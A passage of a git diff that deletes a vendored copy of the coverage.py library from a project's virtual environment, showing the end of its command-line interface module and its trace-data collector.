optparse.make_option( - "-q", "--quiet", action="store_true", - help="Don't print messages about what is happening.", - ) - rcfile = optparse.make_option( - "", "--rcfile", action="store", - help=( - "Specify configuration file. " + - "By default '.coveragerc', 'setup.cfg', 'tox.ini', and " + - "'pyproject.toml' are tried. [env: COVERAGE_RCFILE]" - ), - ) - show_contexts = optparse.make_option( - "--show-contexts", action="store_true", - help="Show contexts for covered lines.", - ) - skip_covered = optparse.make_option( - "--skip-covered", action="store_true", - help="Skip files with 100% coverage.", - ) - no_skip_covered = optparse.make_option( - "--no-skip-covered", action="store_false", dest="skip_covered", - help="Disable --skip-covered.", - ) - skip_empty = optparse.make_option( - "--skip-empty", action="store_true", - help="Skip files with no code.", - ) - sort = optparse.make_option( - "--sort", action="store", metavar="COLUMN", - help=( - "Sort the report by the named column: name, stmts, miss, branch, brpart, or cover. " + - "Default is name." - ), - ) - source = optparse.make_option( - "", "--source", action="store", metavar="SRC1,SRC2,...", - help="A list of directories or importable names of code to measure.", - ) - timid = optparse.make_option( - "", "--timid", action="store_true", - help="Use the slower Python trace function core.", - ) - title = optparse.make_option( - "", "--title", action="store", metavar="TITLE", - help="A text string to use as the title on the HTML.", - ) - version = optparse.make_option( - "", "--version", action="store_true", - help="Display version information and exit.", - ) - - -class CoverageOptionParser(optparse.OptionParser): - """Base OptionParser for coverage.py. - - Problems don't exit the program. - Defaults are initialized for all options. - - """ - - def __init__(self, *args: Any, **kwargs: Any) -> None: - kwargs["add_help_option"] = False - super().__init__(*args, **kwargs) - self.set_defaults( - # Keep these arguments alphabetized by their names. - action=None, - append=None, - branch=None, - concurrency=None, - context=None, - contexts=None, - data_file=None, - debug=None, - directory=None, - fail_under=None, - format=None, - help=None, - ignore_errors=None, - include=None, - keep=None, - module=None, - omit=None, - parallel_mode=None, - precision=None, - pylib=None, - quiet=None, - rcfile=True, - show_contexts=None, - show_missing=None, - skip_covered=None, - skip_empty=None, - sort=None, - source=None, - timid=None, - title=None, - version=None, - ) - - self.disable_interspersed_args() - - class OptionParserError(Exception): - """Used to stop the optparse error handler ending the process.""" - pass - - def parse_args_ok(self, args: list[str]) -> tuple[bool, optparse.Values | None, list[str]]: - """Call optparse.parse_args, but return a triple: - - (ok, options, args) - - """ - try: - options, args = super().parse_args(args) - except self.OptionParserError: - return False, None, [] - return True, options, args - - def error(self, msg: str) -> NoReturn: - """Override optparse.error so sys.exit doesn't get called.""" - show_help(msg) - raise self.OptionParserError - - -class GlobalOptionParser(CoverageOptionParser): - """Command-line parser for coverage.py global option arguments.""" - - def __init__(self) -> None: - super().__init__() - - self.add_options([ - Opts.help, - Opts.version, - ]) - - -class CmdOptionParser(CoverageOptionParser): - """Parse one of the new-style commands for coverage.py.""" - - def __init__( - self, - action: str, - options: list[optparse.Option], - description: str, - usage: str | None = None, - ): - """Create an OptionParser for a coverage.py command. - - `action` is the slug to put into `options.action`. - `options` is a list of Option's for the command. - `description` is the description of the command, for the help text. - `usage` is the usage string to display in help. - - """ - if usage: - usage = "%prog " + usage - super().__init__( - usage=usage, - description=description, - ) - self.set_defaults(action=action) - self.add_options(options) - self.cmd = action - - def __eq__(self, other: str) -> bool: # type: ignore[override] - # A convenience equality, so that I can put strings in unit test - # results, and they will compare equal to objects. - return (other == f"") - - __hash__ = None # type: ignore[assignment] - - def get_prog_name(self) -> str: - """Override of an undocumented function in optparse.OptionParser.""" - program_name = super().get_prog_name() - - # Include the sub-command for this parser as part of the command. - return f"{program_name} {self.cmd}" - -# In lists of Opts, keep them alphabetized by the option names as they appear -# on the command line, since these lists determine the order of the options in -# the help output. -# -# In COMMANDS, keep the keys (command names) alphabetized. - -GLOBAL_ARGS = [ - Opts.debug, - Opts.help, - Opts.rcfile, -] - -COMMANDS = { - "annotate": CmdOptionParser( - "annotate", - [ - Opts.directory, - Opts.datafle_input, - Opts.ignore_errors, - Opts.include, - Opts.omit, - ] + GLOBAL_ARGS, - usage="[options] [modules]", - description=( - "Make annotated copies of the given files, marking statements that are executed " + - "with > and statements that are missed with !." - ), - ), - - "combine": CmdOptionParser( - "combine", - [ - Opts.append, - Opts.datafile, - Opts.keep, - Opts.quiet, - ] + GLOBAL_ARGS, - usage="[options] ... ", - description=( - "Combine data from multiple coverage files. " + - "The combined results are written to a single " + - "file representing the union of the data. The positional " + - "arguments are data files or directories containing data files. " + - "If no paths are provided, data files in the default data file's " + - "directory are combined." - ), - ), - - "debug": CmdOptionParser( - "debug", GLOBAL_ARGS, - usage="", - description=( - "Display information about the internals of coverage.py, " + - "for diagnosing problems. " + - "Topics are: " + - "'data' to show a summary of the collected data; " + - "'sys' to show installation information; " + - "'config' to show the configuration; " + - "'premain' to show what is calling coverage; " + - "'pybehave' to show internal flags describing Python behavior." - ), - ), - - "erase": CmdOptionParser( - "erase", - [ - Opts.datafile, - ] + GLOBAL_ARGS, - description="Erase previously collected coverage data.", - ), - - "help": CmdOptionParser( - "help", GLOBAL_ARGS, - usage="[command]", - description="Describe how to use coverage.py", - ), - - "html": CmdOptionParser( - "html", - [ - Opts.contexts, - Opts.directory, - Opts.datafle_input, - Opts.fail_under, - Opts.ignore_errors, - Opts.include, - Opts.omit, - Opts.precision, - Opts.quiet, - Opts.show_contexts, - Opts.skip_covered, - Opts.no_skip_covered, - Opts.skip_empty, - Opts.title, - ] + GLOBAL_ARGS, - usage="[options] [modules]", - description=( - "Create an HTML report of the coverage of the files. " + - "Each file gets its own page, with the source decorated to show " + - "executed, excluded, and missed lines." - ), - ), - - "json": CmdOptionParser( - "json", - [ - Opts.contexts, - Opts.datafle_input, - Opts.fail_under, - Opts.ignore_errors, - Opts.include, - Opts.omit, - Opts.output_json, - Opts.json_pretty_print, - Opts.quiet, - Opts.show_contexts, - ] + GLOBAL_ARGS, - usage="[options] [modules]", - description="Generate a JSON report of coverage results.", - ), - - "lcov": CmdOptionParser( - "lcov", - [ - Opts.datafle_input, - Opts.fail_under, - Opts.ignore_errors, - Opts.include, - Opts.output_lcov, - Opts.omit, - Opts.quiet, - ] + GLOBAL_ARGS, - usage="[options] [modules]", - description="Generate an LCOV report of coverage results.", - ), - - "report": CmdOptionParser( - "report", - [ - Opts.contexts, - Opts.datafle_input, - Opts.fail_under, - Opts.format, - Opts.ignore_errors, - Opts.include, - Opts.omit, - Opts.precision, - Opts.sort, - Opts.show_missing, - Opts.skip_covered, - Opts.no_skip_covered, - Opts.skip_empty, - ] + GLOBAL_ARGS, - usage="[options] [modules]", - description="Report coverage statistics on modules.", - ), - - "run": CmdOptionParser( - "run", - [ - Opts.append, - Opts.branch, - Opts.concurrency, - Opts.context, - Opts.datafile_output, - Opts.include, - Opts.module, - Opts.omit, - Opts.pylib, - Opts.parallel_mode, - Opts.source, - Opts.timid, - ] + GLOBAL_ARGS, - usage="[options] [program options]", - description="Run a Python program, measuring code execution.", - ), - - "xml": CmdOptionParser( - "xml", - [ - Opts.datafle_input, - Opts.fail_under, - Opts.ignore_errors, - Opts.include, - Opts.omit, - Opts.output_xml, - Opts.quiet, - Opts.skip_empty, - ] + GLOBAL_ARGS, - usage="[options] [modules]", - description="Generate an XML report of coverage results.", - ), -} - - -def show_help( - error: str | None = None, - topic: str | None = None, - parser: optparse.OptionParser | None = None, -) -> None: - """Display an error message, or the named topic.""" - assert error or topic or parser - - program_path = sys.argv[0] - if program_path.endswith(os.path.sep + "__main__.py"): - # The path is the main module of a package; get that path instead. - program_path = os.path.dirname(program_path) - program_name = os.path.basename(program_path) - if env.WINDOWS: - # entry_points={"console_scripts":...} on Windows makes files - # called coverage.exe, coverage3.exe, and coverage-3.5.exe. These - # invoke coverage-script.py, coverage3-script.py, and - # coverage-3.5-script.py. argv[0] is the .py file, but we want to - # get back to the original form. - auto_suffix = "-script.py" - if program_name.endswith(auto_suffix): - program_name = program_name[:-len(auto_suffix)] - - help_params = dict(coverage.__dict__) - help_params["__url__"] = __url__ - help_params["program_name"] = program_name - if CTRACER_FILE: - help_params["extension_modifier"] = "with C extension" - else: - help_params["extension_modifier"] = "without C extension" - - if error: - print(error, file=sys.stderr) - print(f"Use '{program_name} help' for help.", file=sys.stderr) - elif parser: - print(parser.format_help().strip()) - print() - else: - assert topic is not None - help_msg = textwrap.dedent(HELP_TOPICS.get(topic, "")).strip() - if help_msg: - print(help_msg.format(**help_params)) - else: - print(f"Don't know topic {topic!r}") - print("Full documentation is at {__url__}".format(**help_params)) - - -OK, ERR, FAIL_UNDER = 0, 1, 2 - - -class CoverageScript: - """The command-line interface to coverage.py.""" - - def __init__(self) -> None: - self.global_option = False - self.coverage: Coverage - - def command_line(self, argv: list[str]) -> int: - """The bulk of the command line interface to coverage.py. - - `argv` is the argument list to process. - - Returns 0 if all is well, 1 if something went wrong. - - """ - # Collect the command-line options. - if not argv: - show_help(topic="minimum_help") - return OK - - # The command syntax we parse depends on the first argument. Global - # switch syntax always starts with an option. - parser: optparse.OptionParser | None - self.global_option = argv[0].startswith("-") - if self.global_option: - parser = GlobalOptionParser() - else: - parser = COMMANDS.get(argv[0]) - if not parser: - show_help(f"Unknown command: {argv[0]!r}") - return ERR - argv = argv[1:] - - ok, options, args = parser.parse_args_ok(argv) - if not ok: - return ERR - assert options is not None - - # Handle help and version. - if self.do_help(options, args, parser): - return OK - - # Listify the list options. - source = unshell_list(options.source) - omit = unshell_list(options.omit) - include = unshell_list(options.include) - debug = unshell_list(options.debug) - contexts = unshell_list(options.contexts) - - if options.concurrency is not None: - concurrency = options.concurrency.split(",") - else: - concurrency = None - - # Do something. - self.coverage = Coverage( - data_file=options.data_file or DEFAULT_DATAFILE, - data_suffix=options.parallel_mode, - cover_pylib=options.pylib, - timid=options.timid, - branch=options.branch, - config_file=options.rcfile, - source=source, - omit=omit, - include=include, - debug=debug, - concurrency=concurrency, - check_preimported=True, - context=options.context, - messages=not options.quiet, - ) - - if options.action == "debug": - return self.do_debug(args) - - elif options.action == "erase": - self.coverage.erase() - return OK - - elif options.action == "run": - return self.do_run(options, args) - - elif options.action == "combine": - if options.append: - self.coverage.load() - data_paths = args or None - self.coverage.combine(data_paths, strict=True, keep=bool(options.keep)) - self.coverage.save() - return OK - - # Remaining actions are reporting, with some common options. - report_args = dict( - morfs=unglob_args(args), - ignore_errors=options.ignore_errors, - omit=omit, - include=include, - contexts=contexts, - ) - - # We need to be able to import from the current directory, because - # plugins may try to, for example, to read Django settings. - sys.path.insert(0, "") - - self.coverage.load() - - total = None - if options.action == "report": - total = self.coverage.report( - precision=options.precision, - show_missing=options.show_missing, - skip_covered=options.skip_covered, - skip_empty=options.skip_empty, - sort=options.sort, - output_format=options.format, - **report_args, - ) - elif options.action == "annotate": - self.coverage.annotate(directory=options.directory, **report_args) - elif options.action == "html": - total = self.coverage.html_report( - directory=options.directory, - precision=options.precision, - skip_covered=options.skip_covered, - skip_empty=options.skip_empty, - show_contexts=options.show_contexts, - title=options.title, - **report_args, - ) - elif options.action == "xml": - total = self.coverage.xml_report( - outfile=options.outfile, - skip_empty=options.skip_empty, - **report_args, - ) - elif options.action == "json": - total = self.coverage.json_report( - outfile=options.outfile, - pretty_print=options.pretty_print, - show_contexts=options.show_contexts, - **report_args, - ) - elif options.action == "lcov": - total = self.coverage.lcov_report( - outfile=options.outfile, - **report_args, - ) - else: - # There are no other possible actions. - raise AssertionError - - if total is not None: - # Apply the command line fail-under options, and then use the config - # value, so we can get fail_under from the config file. - if options.fail_under is not None: - self.coverage.set_option("report:fail_under", options.fail_under) - if options.precision is not None: - self.coverage.set_option("report:precision", options.precision) - - fail_under = cast(float, self.coverage.get_option("report:fail_under")) - precision = cast(int, self.coverage.get_option("report:precision")) - if should_fail_under(total, fail_under, precision): - msg = "total of {total} is less than fail-under={fail_under:.{p}f}".format( - total=display_covered(total, precision), - fail_under=fail_under, - p=precision, - ) - print("Coverage failure:", msg) - return FAIL_UNDER - - return OK - - def do_help( - self, - options: optparse.Values, - args: list[str], - parser: optparse.OptionParser, - ) -> bool: - """Deal with help requests. - - Return True if it handled the request, False if not. - - """ - # Handle help. - if options.help: - if self.global_option: - show_help(topic="help") - else: - show_help(parser=parser) - return True - - if options.action == "help": - if args: - for a in args: - parser_maybe = COMMANDS.get(a) - if parser_maybe is not None: - show_help(parser=parser_maybe) - else: - show_help(topic=a) - else: - show_help(topic="help") - return True - - # Handle version. - if options.version: - show_help(topic="version") - return True - - return False - - def do_run(self, options: optparse.Values, args: list[str]) -> int: - """Implementation of 'coverage run'.""" - - if not args: - if options.module: - # Specified -m with nothing else. - show_help("No module specified for -m") - return ERR - command_line = cast(str, self.coverage.get_option("run:command_line")) - if command_line is not None: - args = shlex.split(command_line) - if args and args[0] in {"-m", "--module"}: - options.module = True - args = args[1:] - if not args: - show_help("Nothing to do.") - return ERR - - if options.append and self.coverage.get_option("run:parallel"): - show_help("Can't append to data files in parallel mode.") - return ERR - - if options.concurrency == "multiprocessing": - # Can't set other run-affecting command line options with - # multiprocessing. - for opt_name in ["branch", "include", "omit", "pylib", "source", "timid"]: - # As it happens, all of these options have no default, meaning - # they will be None if they have not been specified. - if getattr(options, opt_name) is not None: - show_help( - "Options affecting multiprocessing must only be specified " + - "in a configuration file.\n" + - f"Remove --{opt_name} from the command line.", - ) - return ERR - - os.environ["COVERAGE_RUN"] = "true" - - runner = PyRunner(args, as_module=bool(options.module)) - runner.prepare() - - if options.append: - self.coverage.load() - - # Run the script. - self.coverage.start() - code_ran = True - try: - runner.run() - except NoSource: - code_ran = False - raise - finally: - self.coverage.stop() - if code_ran: - self.coverage.save() - - return OK - - def do_debug(self, args: list[str]) -> int: - """Implementation of 'coverage debug'.""" - - if not args: - show_help("What information would you like: config, data, sys, premain, pybehave?") - return ERR - if args[1:]: - show_help("Only one topic at a time, please") - return ERR - - if args[0] == "sys": - write_formatted_info(print, "sys", self.coverage.sys_info()) - elif args[0] == "data": - print(info_header("data")) - data_file = self.coverage.config.data_file - debug_data_file(data_file) - for filename in combinable_files(data_file): - print("-----") - debug_data_file(filename) - elif args[0] == "config": - write_formatted_info(print, "config", self.coverage.config.debug_info()) - elif args[0] == "premain": - print(info_header("premain")) - print(short_stack(full=True)) - elif args[0] == "pybehave": - write_formatted_info(print, "pybehave", env.debug_info()) - else: - show_help(f"Don't know what you mean by {args[0]!r}") - return ERR - - return OK - - -def unshell_list(s: str) -> list[str] | None: - """Turn a command-line argument into a list.""" - if not s: - return None - if env.WINDOWS: - # When running coverage.py as coverage.exe, some of the behavior - # of the shell is emulated: wildcards are expanded into a list of - # file names. So you have to single-quote patterns on the command - # line, but (not) helpfully, the single quotes are included in the - # argument, so we have to strip them off here. - s = s.strip("'") - return s.split(",") - - -def unglob_args(args: list[str]) -> list[str]: - """Interpret shell wildcards for platforms that need it.""" - if env.WINDOWS: - globbed = [] - for arg in args: - if "?" in arg or "*" in arg: - globbed.extend(glob.glob(arg)) - else: - globbed.append(arg) - args = globbed - return args - - -HELP_TOPICS = { - "help": """\ - Coverage.py, version {__version__} {extension_modifier} - Measure, collect, and report on code coverage in Python programs. - - usage: {program_name} [options] [args] - - Commands: - annotate Annotate source files with execution information. - combine Combine a number of data files. - debug Display information about the internals of coverage.py - erase Erase previously collected coverage data. - help Get help on using coverage.py. - html Create an HTML report. - json Create a JSON report of coverage results. - lcov Create an LCOV report of coverage results. - report Report coverage stats on modules. - run Run a Python program and measure code execution. - xml Create an XML report of coverage results. - - Use "{program_name} help " for detailed help on any command. - """, - - "minimum_help": ( - "Code coverage for Python, version {__version__} {extension_modifier}. " + - "Use '{program_name} help' for help." - ), - - "version": "Coverage.py, version {__version__} {extension_modifier}", -} - - -def main(argv: list[str] | None = None) -> int | None: - """The main entry point to coverage.py. - - This is installed as the script entry point. - - """ - if argv is None: - argv = sys.argv[1:] - try: - status = CoverageScript().command_line(argv) - except _ExceptionDuringRun as err: - # An exception was caught while running the product code. The - # sys.exc_info() return tuple is packed into an _ExceptionDuringRun - # exception. - traceback.print_exception(*err.args) # pylint: disable=no-value-for-parameter - status = ERR - except _BaseCoverageException as err: - # A controlled error inside coverage.py: print the message to the user. - msg = err.args[0] - print(msg) - status = ERR - except SystemExit as err: - # The user called `sys.exit()`. Exit with their argument, if any. - if err.args: - status = err.args[0] - else: - status = None - return status - -# Profiling using ox_profile. Install it from GitHub: -# pip install git+https://github.com/emin63/ox_profile.git -# -# $set_env.py: COVERAGE_PROFILE - Set to use ox_profile. -_profile = os.getenv("COVERAGE_PROFILE") -if _profile: # pragma: debugging - from ox_profile.core.launchers import SimpleLauncher # pylint: disable=import-error - original_main = main - - def main( # pylint: disable=function-redefined - argv: list[str] | None = None, - ) -> int | None: - """A wrapper around main that profiles.""" - profiler = SimpleLauncher.launch() - try: - return original_main(argv) - finally: - data, _ = profiler.query(re_filter="coverage", max_records=100) - print(profiler.show(query=data, limit=100, sep="", col="")) - profiler.cancel() diff --git a/backend/venv/Lib/site-packages/coverage/collector.py b/backend/venv/Lib/site-packages/coverage/collector.py deleted file mode 100644 index 3f1519a9..00000000 --- a/backend/venv/Lib/site-packages/coverage/collector.py +++ /dev/null @@ -1,497 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Raw data collector for coverage.py.""" - -from __future__ import annotations - -import contextlib -import functools -import os -import sys - -from collections.abc import Mapping -from types import FrameType -from typing import cast, Any, Callable, TypeVar - -from coverage import env -from coverage.config import CoverageConfig -from coverage.core import Core -from coverage.data import CoverageData -from coverage.debug import short_stack -from coverage.exceptions import ConfigError -from coverage.misc import human_sorted_items, isolate_module -from coverage.plugin import CoveragePlugin -from coverage.types import ( - TArc, - TCheckIncludeFn, - TFileDisposition, - TShouldStartContextFn, - TShouldTraceFn, - TTraceData, - TTraceFn, - Tracer, - TWarnFn, -) - -os = isolate_module(os) - - -T = TypeVar("T") - - -class Collector: - """Collects trace data. - - Creates a Tracer object for each thread, since they track stack - information. Each Tracer points to the same shared data, contributing - traced data points. - - When the Collector is started, it creates a Tracer for the current thread, - and installs a function to create Tracers for each new thread started. - When the Collector is stopped, all active Tracers are stopped. - - Threads started while the Collector is stopped will never have Tracers - associated with them. - - """ - - # The stack of active Collectors. Collectors are added here when started, - # and popped when stopped. Collectors on the stack are paused when not - # the top, and resumed when they become the top again. - _collectors: list[Collector] = [] - - # The concurrency settings we support here. - LIGHT_THREADS = {"greenlet", "eventlet", "gevent"} - - def __init__( - self, - core: Core, - should_trace: TShouldTraceFn, - check_include: TCheckIncludeFn, - should_start_context: TShouldStartContextFn | None, - file_mapper: Callable[[str], str], - branch: bool, - warn: TWarnFn, - concurrency: list[str], - ) -> None: - """Create a collector. - - `should_trace` is a function, taking a file name and a frame, and - returning a `coverage.FileDisposition object`. - - `check_include` is a function taking a file name and a frame. It returns - a boolean: True if the file should be traced, False if not. - - `should_start_context` is a function taking a frame, and returning a - string. If the frame should be the start of a new context, the string - is the new context. If the frame should not be the start of a new - context, return None. - - `file_mapper` is a function taking a filename, and returning a Unicode - filename. The result is the name that will be recorded in the data - file. - - If `branch` is true, then branches will be measured. This involves - collecting data on which statements followed each other (arcs). Use - `get_arc_data` to get the arc data. - - `warn` is a warning function, taking a single string message argument - and an optional slug argument which will be a string or None, to be - used if a warning needs to be issued. - - `concurrency` is a list of strings indicating the concurrency libraries - in use. Valid values are "greenlet", "eventlet", "gevent", or "thread" - (the default). "thread" can be combined with one of the other three. - Other values are ignored. - - """ - self.core = core - self.should_trace = should_trace - self.check_include = check_include - self.should_start_context = should_start_context - self.file_mapper = file_mapper - self.branch = branch - self.warn = warn - self.concurrency = concurrency - assert isinstance(self.concurrency, list), f"Expected a list: {self.concurrency!r}" - - self.pid = os.getpid() - - self.covdata: CoverageData - self.threading = None - self.static_context: str | None = None - - self.origin = short_stack() - - self.concur_id_func = None - - # We can handle a few concurrency options here, but only one at a time. - concurrencies = set(self.concurrency) - unknown = concurrencies - CoverageConfig.CONCURRENCY_CHOICES - if unknown: - show = ", ".join(sorted(unknown)) - raise ConfigError(f"Unknown concurrency choices: {show}") - light_threads = concurrencies & self.LIGHT_THREADS - if len(light_threads) > 1: - show = ", ".join(sorted(light_threads)) - raise ConfigError(f"Conflicting concurrency settings: {show}") - do_threading = False - - tried = "nothing" # to satisfy pylint - try: - if "greenlet" in concurrencies: - tried = "greenlet" - import greenlet - self.concur_id_func = greenlet.getcurrent - elif "eventlet" in concurrencies: - tried = "eventlet" - import eventlet.greenthread # pylint: disable=import-error,useless-suppression - self.concur_id_func = eventlet.greenthread.getcurrent - elif "gevent" in concurrencies: - tried = "gevent" - import gevent # pylint: disable=import-error,useless-suppression - self.concur_id_func = gevent.getcurrent - - if "thread" in concurrencies: - do_threading = True - except ImportError as ex: - msg = f"Couldn't trace with concurrency={tried}, the module isn't installed." - raise ConfigError(msg) from ex - - if self.concur_id_func and not hasattr(core.tracer_class, "concur_id_func"): - raise ConfigError( - "Can't support concurrency={} with {}, only threads are supported.".format( - tried, self.tracer_name(), - ), - ) - - if do_threading or not concurrencies: - # It's important to import threading only if we need it. If - # it's imported early, and the program being measured uses - # gevent, then gevent's monkey-patching won't work properly. - import threading - self.threading = threading - - self.reset() - - def __repr__(self) -> str: - return f"" - - def use_data(self, covdata: CoverageData, context: str | None) -> None: - """Use `covdata` for recording data.""" - self.covdata = covdata - self.static_context = context - self.covdata.set_context(self.static_context) - - def tracer_name(self) -> str: - """Return the class name of the tracer we're using.""" - return self.core.tracer_class.__name__ - - def _clear_data(self) -> None: - """Clear out existing data, but stay ready for more collection.""" - # We used to use self.data.clear(), but that would remove filename - # keys and data values that were still in use higher up the stack - # when we are called as part of switch_context. - with self.data_lock or contextlib.nullcontext(): - for d in self.data.values(): - d.clear() - - for tracer in self.tracers: - tracer.reset_activity() - - def reset(self) -> None: - """Clear collected data, and prepare to collect more.""" - self.data_lock = self.threading.Lock() if self.threading else None - - # The trace data we are collecting. - self.data: TTraceData = {} - - # A dictionary mapping file names to file tracer plugin names that will - # handle them. - self.file_tracers: dict[str, str] = {} - - self.disabled_plugins: set[str] = set() - - # The .should_trace_cache attribute is a cache from file names to - # coverage.FileDisposition objects, or None. When a file is first - # considered for tracing, a FileDisposition is obtained from - # Coverage.should_trace. Its .trace attribute indicates whether the - # file should be traced or not. If it should be, a plugin with dynamic - # file names can decide not to trace it based on the dynamic file name - # being excluded by the inclusion rules, in which case the - # FileDisposition will be replaced by None in the cache. - if env.PYPY: - import __pypy__ # pylint: disable=import-error - # Alex Gaynor said: - # should_trace_cache is a strictly growing key: once a key is in - # it, it never changes. Further, the keys used to access it are - # generally constant, given sufficient context. That is to say, at - # any given point _trace() is called, pypy is able to know the key. - # This is because the key is determined by the physical source code - # line, and that's invariant with the call site. - # - # This property of a dict with immutable keys, combined with - # call-site-constant keys is a match for PyPy's module dict, - # which is optimized for such workloads. - # - # This gives a 20% benefit on the workload described at - # https://bitbucket.org/pypy/pypy/issue/1871/10x-slower-than-cpython-under-coverage - self.should_trace_cache = __pypy__.newdict("module") - else: - self.should_trace_cache = {} - - # Our active Tracers. - self.tracers: list[Tracer] = [] - - self._clear_data() - - def lock_data(self) -> None: - """Lock self.data_lock, for use by the C tracer.""" - if self.data_lock is not None: - self.data_lock.acquire() - - def unlock_data(self) -> None: - """Unlock self.data_lock, for use by the C tracer.""" - if self.data_lock is not None: - self.data_lock.release() - - def _start_tracer(self) -> TTraceFn | None: - """Start a new Tracer object, and store it in self.tracers.""" - tracer = self.core.tracer_class(**self.core.tracer_kwargs) - tracer.data = self.data - tracer.lock_data = self.lock_data - tracer.unlock_data = self.unlock_data - tracer.trace_arcs = self.branch - tracer.should_trace = self.should_trace - tracer.should_trace_cache = self.should_trace_cache - tracer.warn = self.warn - - if hasattr(tracer, 'concur_id_func'): - tracer.concur_id_func = self.concur_id_func - if hasattr(tracer, 'file_tracers'): - tracer.file_tracers = self.file_tracers - if hasattr(tracer, 'threading'): - tracer.threading = self.threading - if hasattr(tracer, 'check_include'): - tracer.check_include = self.check_include - if hasattr(tracer, 'should_start_context'): - tracer.should_start_context = self.should_start_context - if hasattr(tracer, 'switch_context'): - tracer.switch_context = self.switch_context - if hasattr(tracer, 'disable_plugin'): - tracer.disable_plugin = self.disable_plugin - - fn = tracer.start() - self.tracers.append(tracer) - - return fn - - # The trace function has to be set individually on each thread before - # execution begins. Ironically, the only support the threading module has - # for running code before the thread main is the tracing function. So we - # install this as a trace function, and the first time it's called, it does - # the real trace installation. - # - # New in 3.12: threading.settrace_all_threads: https://github.com/python/cpython/pull/96681 - - def _installation_trace(self, frame: FrameType, event: str, arg: Any) -> TTraceFn | None: - """Called on new threads, installs the real tracer.""" - # Remove ourselves as the trace function. - sys.settrace(None) - # Install the real tracer. - fn: TTraceFn | None = self._start_tracer() - # Invoke the real trace function with the current event, to be sure - # not to lose an event. - if fn: - fn = fn(frame, event, arg) - # Return the new trace function to continue tracing in this scope. - return fn - - def start(self) -> None: - """Start collecting trace information.""" - # We may be a new collector in a forked process. The old process' - # collectors will be in self._collectors, but they won't be usable. - # Find them and discard them. - keep_collectors = [] - for c in self._collectors: - if c.pid == self.pid: - keep_collectors.append(c) - else: - c.post_fork() - self._collectors[:] = keep_collectors - - if self._collectors: - self._collectors[-1].pause() - - self.tracers = [] - - try: - # Install the tracer on this thread. - self._start_tracer() - except: - if self._collectors: - self._collectors[-1].resume() - raise - - # If _start_tracer succeeded, then we add ourselves to the global - # stack of collectors. - self._collectors.append(self) - - # Install our installation tracer in threading, to jump-start other - # threads. - if self.core.systrace and self.threading: - self.threading.settrace(self._installation_trace) - - def stop(self) -> None: - """Stop collecting trace information.""" - assert self._collectors - if self._collectors[-1] is not self: - print("self._collectors:") - for c in self._collectors: - print(f" {c!r}\n{c.origin}") - assert self._collectors[-1] is self, ( - f"Expected current collector to be {self!r}, but it's {self._collectors[-1]!r}" - ) - - self.pause() - - # Remove this Collector from the stack, and resume the one underneath (if any). - self._collectors.pop() - if self._collectors: - self._collectors[-1].resume() - - def pause(self) -> None: - """Pause tracing, but be prepared to `resume`.""" - for tracer in self.tracers: - tracer.stop() - stats = tracer.get_stats() - if stats: - print(f"\nCoverage.py {tracer.__class__.__name__} stats:") - for k, v in human_sorted_items(stats.items()): - print(f"{k:>20}: {v}") - if self.threading: - self.threading.settrace(None) - - def resume(self) -> None: - """Resume tracing after a `pause`.""" - for tracer in self.tracers: - tracer.start() - if self.core.systrace: - if self.threading: - self.threading.settrace(self._installation_trace) - else: - self._start_tracer() - - def post_fork(self) -> None: - """After a fork, tracers might need to adjust.""" - for tracer in self.tracers: - if hasattr(tracer, "post_fork"): - tracer.post_fork() - - def _activity(self) -> bool: - """Has any activity been traced? - - Returns a boolean, True if any trace function was invoked. - - """ - return any(tracer.activity() for tracer in self.tracers) - - def switch_context(self, new_context: str | None) -> None: - """Switch to a new dynamic context.""" - context: str | None - self.flush_data() - if self.static_context: - context = self.static_context - if new_context: - context += "|" + new_context - else: - context = new_context - self.covdata.set_context(context) - - def disable_plugin(self, disposition: TFileDisposition) -> None: - """Disable the plugin mentioned in `disposition`.""" - file_tracer = disposition.file_tracer - assert file_tracer is not None - plugin = file_tracer._coverage_plugin - plugin_name = plugin._coverage_plugin_name - self.warn(f"Disabling plug-in {plugin_name!r} due to previous exception") - plugin._coverage_enabled = False - disposition.trace = False - - @functools.cache # pylint: disable=method-cache-max-size-none - def cached_mapped_file(self, filename: str) -> str: - """A locally cached version of file names mapped through file_mapper.""" - return self.file_mapper(filename) - - def mapped_file_dict(self, d: Mapping[str, T]) -> dict[str, T]: - """Return a dict like d, but with keys modified by file_mapper.""" - # The call to list(items()) ensures that the GIL protects the dictionary - # iterator against concurrent modifications by tracers running - # in other threads. We try three times in case of concurrent - # access, hoping to get a clean copy. - runtime_err = None - for _ in range(3): # pragma: part covered - try: - items = list(d.items()) - except RuntimeError as ex: # pragma: cant happen - runtime_err = ex - else: - break - else: # pragma: cant happen - assert isinstance(runtime_err, Exception) - raise runtime_err - - return {self.cached_mapped_file(k): v for k, v in items if v} - - def plugin_was_disabled(self, plugin: CoveragePlugin) -> None: - """Record that `plugin` was disabled during the run.""" - self.disabled_plugins.add(plugin._coverage_plugin_name) - - def flush_data(self) -> bool: - """Save the collected data to our associated `CoverageData`. - - Data may have also been saved along the way. This forces the - last of the data to be saved. - - Returns True if there was data to save, False if not. - """ - if not self._activity(): - return False - - if self.branch: - if self.core.packed_arcs: - # Unpack the line number pairs packed into integers. See - # tracer.c:CTracer_record_pair for the C code that creates - # these packed ints. - arc_data: dict[str, list[TArc]] = {} - packed_data = cast(dict[str, set[int]], self.data) - - # The list() here and in the inner loop are to get a clean copy - # even as tracers are continuing to add data. - for fname, packeds in list(packed_data.items()): - tuples = [] - for packed in list(packeds): - l1 = packed & 0xFFFFF - l2 = (packed & (0xFFFFF << 20)) >> 20 - if packed & (1 << 40): - l1 *= -1 - if packed & (1 << 41): - l2 *= -1 - tuples.append((l1, l2)) - arc_data[fname] = tuples - else: - arc_data = cast(dict[str, list[TArc]], self.data) - self.covdata.add_arcs(self.mapped_file_dict(arc_data)) - else: - line_data = cast(dict[str, set[int]], self.data) - self.covdata.add_lines(self.mapped_file_dict(line_data)) - - file_tracers = { - k: v for k, v in self.file_tracers.items() - if v not in self.disabled_plugins - } - self.covdata.add_file_tracers(self.mapped_file_dict(file_tracers)) - - self._clear_data() - return True diff --git a/backend/venv/Lib/site-packages/coverage/config.py b/backend/venv/Lib/site-packages/coverage/config.py deleted file mode 100644 index 435ddd5f..00000000 --- a/backend/venv/Lib/site-packages/coverage/config.py +++ /dev/null @@ -1,646 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: 